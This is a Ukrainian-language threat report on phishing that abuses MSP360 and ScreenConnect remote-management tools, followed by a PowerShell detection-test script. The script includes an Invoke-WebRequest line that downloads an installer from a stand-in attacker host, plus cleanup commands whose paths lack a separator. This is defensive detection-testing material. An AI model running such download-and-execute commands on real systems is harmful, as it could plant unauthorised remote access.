Фішинг зловживає RMM-інструментами для постійного доступу

Короткий зміст

Зловмисники використовують фішингові кампанії для доставки легітимного інсталятора MSP360 RMM, замаскованого під надійне програмне забезпечення. Після запуску інсталятор встановлює стійкість і надалі завантажує та розгортає ConnectWise ScreenConnect, забезпечуючи зловмисникам додатковий канал віддаленого доступу. Це дозволяє подальші дії після компрометації, включаючи крадіжку облікових даних та збір конфіденційних даних.

Розслідування

Експерти Microsoft Defender виявили кілька фішингових приманок, що видають себе за Zoom, Adobe та легітимні запрошення на зустрічі для розповсюдження MSP360 v2.5.0.67. Дослідники реконструювали ланцюжок зараження, відстежуючи початкове виконання користувачем і підвищення UAC через встановлення служб та розгортання вторинних інструментів RMM. Розслідування також показало, що зловмисники зловживають надійними хмарними платформами, такими як Amazon S3 і Dropbox, для розміщення зловмисних навантажень.

Пом’якшення

Організації повинні суворо контролювати затверджені інструменти RMM, впроваджуючи MFA та політики контролю додатків для запобігання несанкціонованим установкам. Правила блокування на основі сертифікатів можуть ще більше обмежити певні підписані додатки. Зміцнення захисту кінцевих точок через антивірусний захист, доставлений з хмари, та правила зменшення поверхні атаки також є важливим для зменшення впливу.

Реакція

Коли виявляються несанкціоновані установки RMM, командам безпеки слід негайно змінити облікові дані, пов’язані з ураженими сервісними установками. Підозра на компрометацію системних облікових записів вимагає повного розслідування для визначення повного обсягу атаки. Перегляньте журнали виявлення кінцевих точок, щоб визначити підозрілі сеанси віддаленого управління та пов’язані з ними дії після компрометації.

Виконання симуляції

• Розповідь про атаку та команди: Зловмисник ініціює кампанію зі spearphishing. Жертва натискає на посилання, яке запускає PowerShell однорядкову команду. Ця команда використовує Invoke-WebRequest для завантаження ClientSetup.msi (імітація інсталятора ScreenConnect) з віддаленого сервера. Після завантаження зловмисник виконує MSI, і фінальний крок симуляції передбачає запуск ScreenConnect.WindowsClient.exe для імітації встановленої сесії віддаленого доступу. Ця послідовність розроблена для того, щоб викликати вибір_2 І вибір_3 логіку правила.

• Скрипт регресійного тесту:

  # Симуляція фішингового розгортування RMM
  $tempDir = $env:TEMP
  $msiName = "ClientSetup.msi"
  $exeName = "ScreenConnect.WindowsClient.exe"
  $msiPath = Join-Path $tempDir $msiName
  $exePath = Join-Path $tempDir $exeName
  
  # 1. Симуляція завантаження PowerShell (Вибір 2 частина A)
  Write-Host "[+] Симуляція завантаження MSI через PowerShell..."
  # Використання пустого файлу для симуляції завантаження MSI
  New-Item -Path $msiPath -ItemType File -Force
  
  # Ця команда відповідає логіці правила 'Invoke-WebRequest' та 'ClientSetup.msi'
  powershell.exe -Command "Invoke-WebRequest -Uri 'http://attacker.com/ClientSetup.msi' -OutFile '$msiPath'"
  
  # 2. Створення пустого виконуваного файлу для симуляції клієнта ScreenConnect (Вибір 3)
  Write-Host "[+] Створення пустого виконуваного файлу ScreenConnect..."
  New-Item -Path $exePath -ItemType File -Force
  
  # 3. Виконати клієнта (Вибір 3 і завершення вибору 2)
  Write-Host "[+] Виконання клієнта ScreenConnect..."
  Start-Process -FilePath $exePath

• Команди очищення:

  # Очищення артефактів симуляції
  Remove-Item -Path "$env:TEMPClientSetup.msi" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPScreenConnect.WindowsClient.exe" -Force -ErrorAction SilentlyContinue
  Write-Host "[+] Очищення завершено."